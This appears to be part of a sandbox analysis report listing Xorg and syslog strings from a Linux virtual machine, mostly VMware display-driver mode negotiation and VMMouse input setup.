Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "1920x1200" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.537] (II) vmware(0): Not using default mode "4096x2304" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.367] (**) vmware(0): Default mode "640x400": 31.5 MHz, 37.9 kHz, 85.1 Hz
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:14 galassia /usr/lib/gdm3/gdm-x-session[5787]: (--) vmware(0): vram: 4194304
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.323] (**) vmware(0): Default mode "640x480": 31.5 MHz, 37.5 kHz, 75.0 Hz
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "416x312" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.887] (II) vmware(0): Not using default mode "2048x1536" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "800x600"x56.2 36.00 800 824 896 1024 600 601 603 625 +hsync +vsync (35.2 kHz d)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:17 galassia /usr/lib/gdm3/gdm-x-session[5787]: (==) vmware(0): Backing store enabled
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:11 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware: driver for VMware SVGA: vmware0405, vmware0710
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.911] (II) vmware(0): Not using default mode "840x525" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "640x360"x59.8 18.00 640 664 720 800 360 363 368 376 -hsync +vsync (22.5 kHz d)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "640x480": 36.0 MHz, 43.3 kHz, 85.0 Hz
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "1920x1080" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "2560x1440" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.854] (II) vmware(0): Not using default mode "1680x1050" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "1152x864"x70.0 96.77 1152 1224 1344 1536 864 865 868 900 -hsync +vsync (63.0 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.123] (**) vmware(0): Default mode "1152x864": 119.7 MHz, 77.1 kHz, 85.0 Hz
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "864x486" (monitor doesn't support reduced blanking)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: message repeated 5 times: [ (II) vmware(0): Not using default mode "576x432" (bad mode clock/interlace/doublescan)]
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.609] (II) vmware(0): Not using default mode "1856x1392" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "840x525" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.361] (II) vmware(0): Not using default mode "320x240" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.341] (II) vmware(0): Clock range: 0.00 to 400000.00 MHz
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "800x600"x60.3 40.00 800 840 968 1056 600 601 605 628 +hsync +vsync (37.9 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.240] (II) vmware(0): Not using default mode "2048x1152" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "1600x1024" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "1152x864"x85.1 121.50 1152 1216 1344 1568 864 865 868 911 +hsync -vsync (77.5 kHz d)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "1152x864"x75.0 108.00 1152 1216 1344 1600 864 865 868 900 +hsync +vsync (67.5 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.865] (II) vmware(0): Not using default mode "1920x1440" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.403] (II) vmware(0): Modeline "640x350"x85.1 31.50 640 672 736 832 350 382 385 445 +hsync -vsync (37.9 kHz d)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:21 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) config/udev: Adding input device VirtualPS/2 VMware VMMouse (/dev/input/mouse1)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.265] (--) vmware(0): w.grn: 8
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.823] (II) vmware(0): Not using default mode "1400x900" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "800x600"x72.2 50.00 800 856 976 1040 600 637 643 666 +hsync +vsync (48.1 kHz d)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:14 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "320x240" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "1152x864"x60.0 81.62 1152 1216 1336 1520 864 865 868 895 -hsync +vsync (53.7 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.156] (II) vmware(0): Not using default mode "960x540" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "720x405": 22.5 MHz, 25.1 kHz, 59.5 Hz
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "3200x1800" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.609] (II) vmware(0): Initialized VMware Xinerama extension.
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "960x540" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "1600x900" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "1024x768": 65.0 MHz, 48.4 kHz, 60.0 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.081] (II) vmware(0): Not using default mode "1280x800" (width requires unsupported line pitch)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "512x384" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "840x525" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.495] (II) vmware(0): Not using default mode "640x512" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "1680x1050" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:10 galassia /usr/lib/gdm3/gdm-x-session[5787]: (==) Matched vmware as autoconfigured driver 0
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "1024x768"x70.1 75.00 1024 1048 1184 1328 768 771 777 806 -hsync -vsync (56.5 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.019] (II) vmware(0): Not using default mode "512x288" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.494] (II) vmware(0): Not using default mode "3840x2160" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "684x384" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:21 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) VirtualPS/2 VMware VMMouse: (accel) selected scheme none/0
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.683] (II) vmware(0): Not using default mode "1360x768" (width requires unsupported line pitch)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.848] (II) vmware(0): Not using default mode "960x540" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 187.831] (**) VirtualPS/2 VMware VMMouse: Applying InputClass "libinput pointer catchall"
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.246] (**) vmware(0): Default mode "800x600": 56.3 MHz, 53.7 kHz, 85.1 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.328] (II) vmware(0): Modeline "640x480"x75.0 31.50 640 656 720 840 480 481 484 500 -hsync -vsync (37.5 kHz d)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:13 galassia /usr/lib/gdm3/gdm-x-session[5787]: (WW) vmware(0): Disabling Render Acceleration.
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.036] (II) vmware(0): Not using default mode "1280x720" (width requires unsupported line pitch)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.530] (II) vmware(0): Not using default mode "800x600" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.346] (II) vmware(0): Not using default mode "320x175" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 187.624] (II) Using input driver 'libinput' for 'VirtualPS/2 VMware VMMouse'
Source: Xorg.0.log.159.dr	Binary or memory string: [ 177.412] (II) Module vmware: vendor="X.Org Foundation"
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.506] (II) vmware(0): Not using default mode "640x512" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.197] (**) vmware(0): Default mode "1024x768": 75.0 MHz, 56.5 kHz, 70.1 Hz
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "1440x900" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.621] (II) vmware(0): Not using default mode "1920x1440" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 187.883] (**) VirtualPS/2 VMware VMMouse: always reports core events
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "1792x1344" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: message repeated 3 times: [ (II) vmware(0): Not using default mode "512x384" (bad mode clock/interlace/doublescan)]
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "1024x576" (monitor doesn't support reduced blanking)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 188.003] (II) event2 - VirtualPS/2 VMware VMMouse: is tagged by udev as: Mouse
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:13 galassia /usr/lib/gdm3/gdm-x-session[5787]: (--) vmware(0): VMware SVGA regs at (0x1070, 0x1071)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.089] (II) vmware(0): Virtual size is 800x600 (pitch 1176)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.615] (II) vmware(0): Not using default mode "928x696" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 187.935] (II) event2 - VirtualPS/2 VMware VMMouse: is tagged by udev as: Mouse
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.401] (II) vmware(0): Not using default mode "400x300" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.650] (II) vmware(0): Not using default mode "576x432" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.137] (II) vmware(0): Modeline "1152x864"x75.0 108.00 1152 1216 1344 1600 864 865 868 900 +hsync +vsync (67.5 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.982] (II) vmware(0): Not using default mode "432x243" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 187.961] (II) XINPUT: Adding extended input device "VirtualPS/2 VMware VMMouse" (type: MOUSE, id 9)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "720x405"x59.5 22.50 720 744 808 896 405 408 413 422 -hsync +vsync (25.1 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.757] (II) vmware(0): Not using default mode "1440x900" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:14 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Clock range: 0.00 to 400000.00 MHz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.270] (II) vmware(0): Modeline "800x600"x72.2 50.00 800 856 976 1040 600 637 643 666 +hsync +vsync (48.1 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.548] (II) vmware(0): Not using default mode "2048x1152" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:14 galassia /usr/lib/gdm3/gdm-x-session[5787]: (==) vmware(0): Will set up a driver mode with dimensions 800x600.
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.192] (--) vmware(0): vram: 4194304
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.166] (II) vmware(0): Modeline "1152x864"x60.0 81.62 1152 1216 1336 1520 864 865 868 895 -hsync +vsync (53.7 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.842] (II) vmware(0): Not using default mode "1920x1080" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "800x600"x85.1 56.30 800 832 896 1048 600 601 604 631 +hsync +vsync (53.7 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.508] (II) vmware(0): Not using default mode "1920x1080" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "1152x864": 143.5 MHz, 91.5 kHz, 100.0 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.672] (==) vmware(0): Silken mouse enabled
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.678] (II) vmware(0): Initialized VMware Xv extension successfully.
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "960x600" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.451] (II) vmware(0): Not using default mode "1600x900" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.221] (II) vmware(0): Not using default mode "1024x576" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 187.800] (II) config/udev: Adding input device VirtualPS/2 VMware VMMouse (/dev/input/mouse1)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "1920x1080" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.553] (II) vmware(0): Not using default mode "800x600" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.711] (II) vmware(0): Not using default mode "1400x1050" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.207] (**) vmware(0): Default mode "1024x768": 65.0 MHz, 48.4 kHz, 60.0 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.716] (II) vmware(0): Not using default mode "700x525" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.548] (II) vmware(0): Not using default mode "1600x1200" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.379] (II) vmware(0): Modeline "640x360"x59.8 18.00 640 664 720 800 360 363 368 376 -hsync +vsync (22.5 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.314] (==) vmware(0): RGB weight 888
Source: Xorg.0.log.159.dr	Binary or memory string: [ 187.946] (II) event2 - VirtualPS/2 VMware VMMouse: device removed
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.439] (II) vmware(0): Not using default mode "512x384" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.062] (II) vmware(0): Not using default mode "1368x768" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.337] (II) vmware(0): Modeline "640x480"x72.8 31.50 640 664 704 832 480 489 492 520 -hsync -vsync (37.9 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.768] (II) vmware(0): Not using default mode "1600x1024" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "1600x900" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.393] (II) vmware(0): Modeline "640x360"x59.3 17.75 640 688 720 800 360 363 368 374 +hsync -vsync (22.2 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.559] (II) vmware(0): Not using default mode "1600x1200" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.300] (**) vmware(0): Default mode "864x486": 32.5 MHz, 30.3 kHz, 59.9 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.565] (II) vmware(0): Not using default mode "800x600" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.043] (II) vmware(0): Not using default mode "640x360" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.750] (II) vmware(0): Not using default mode "700x525" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:13 galassia /usr/lib/gdm3/gdm-x-session[5787]: (WW) vmware(0): Disabling RandR12+ support.
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "1024x768": 78.8 MHz, 60.0 kHz, 75.0 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.925] (II) vmware(0): Not using default mode "320x180" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.558] (II) vmware(0): Not using default mode "5120x2880" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.992] (II) vmware(0): Not using default mode "960x540" (monitor doesn't support reduced blanking)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "7680x4320" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:21 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) event2 - VirtualPS/2 VMware VMMouse: device removed
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.501] (II) vmware(0): Not using default mode "1280x1024" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.161] (**) vmware(0): Default mode "1152x864": 81.6 MHz, 53.7 kHz, 60.0 Hz
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "700x525" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:14 galassia /usr/lib/gdm3/gdm-x-session[5787]: (--) vmware(0): pbase: 0xe8000000
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.587] (II) vmware(0): Not using default mode "1792x1344" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.415] (II) vmware(0): Not using default mode "3200x1800" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 187.718] (II) event3 - VirtualPS/2 VMware VMMouse: is tagged by udev as: Mouse
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.231] (--) vmware(0): w.red: 8
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.893] (II) vmware(0): Not using default mode "1024x768" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 187.673] (**) VirtualPS/2 VMware VMMouse: always reports core events
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.477] (II) vmware(0): Not using default mode "1280x1024" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "640x480"x75.0 31.50 640 656 720 840 480 481 484 500 -hsync -vsync (37.5 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 180.110] (WW) vmware(0): Disabling Render Acceleration.
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "640x400": 31.5 MHz, 37.9 kHz, 85.1 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.583] (II) vmware(0): Not using default mode "5120x2880" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "512x288" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:10 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) LoadModule: "vmware"
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.639] (II) vmware(0): Not using default mode "3840x2160" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.739] (II) vmware(0): Not using default mode "700x525" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "832x624"x74.6 57.28 832 864 928 1152 624 625 628 667 -hsync -vsync (49.7 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.881] (II) vmware(0): Not using default mode "960x720" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "1152x864"x75.0 104.99 1152 1224 1352 1552 864 865 868 902 -hsync +vsync (67.6 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.733] (II) vmware(0): Not using default mode "1400x1050" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.598] (II) vmware(0): Initialized VMWARE_CTRL extension version 0.2
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.120] (II) vmware(0): Not using default mode "1600x900" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "640x480": 31.5 MHz, 37.9 kHz, 72.8 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.048] (II) vmware(0): Not using default mode "1280x800" (width requires unsupported line pitch)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.529] (II) vmware(0): Not using default mode "2048x1152" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.744] (II) vmware(0): Not using default mode "1400x1050" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.964] (II) vmware(0): Not using default mode "1920x1200" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.336] (==) vmware(0): Using gamma correction (1.0, 1.0, 1.0)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.464] (II) vmware(0): Not using default mode "3840x2160" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 177.719] (II) vmware(0): Creating default Display subsection in Screen section
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.008] (II) vmware(0): Not using default mode "1024x576" (monitor doesn't support reduced blanking)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.759] (II) vmware(0): Not using default mode "1280x800" (width requires unsupported line pitch)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.627] (II) vmware(0): Not using default mode "960x720" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "800x600": 50.0 MHz, 48.1 kHz, 72.2 Hz
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:17 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Initialized VMWARE_CTRL extension version 0.2
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:14 galassia /usr/lib/gdm3/gdm-x-session[5787]: (--) vmware(0): w.blu: 8
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.320] (==) vmware(0): Default visual is TrueColor
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:17 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Initialized VMware Xinerama extension.
Source: Xorg.0.log.159.dr	Binary or memory string: [ 188.008] (II) event2 - VirtualPS/2 VMware VMMouse: device is a pointer
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.387] (**) vmware(0): Default mode "640x360": 17.8 MHz, 22.2 kHz, 59.3 Hz
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "640x480": 25.2 MHz, 31.5 kHz, 59.9 Hz
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "640x350"x85.1 31.50 640 672 736 832 350 382 385 445 +hsync -vsync (37.9 kHz d)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "864x486": 32.5 MHz, 30.3 kHz, 59.9 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.135] (II) vmware(0): Not using default mode "800x450" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.592] (II) vmware(0): Not using default mode "896x672" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.358] (II) vmware(0): Not using default mode "1440x810" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "1280x960" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:21 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) event2 - VirtualPS/2 VMware VMMouse: device is a pointer
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.722] (II) vmware(0): Not using default mode "1280x800" (width requires unsupported line pitch)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.818] (II) vmware(0): Not using default mode "1680x1050" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.660] (II) vmware(0): Not using default mode "576x432" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 187.755] (**) VirtualPS/2 VMware VMMouse: (accel) selected scheme none/0
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "1024x576"x59.9 46.50 1024 1064 1160 1296 576 579 584 599 -hsync +vsync (35.9 kHz d)
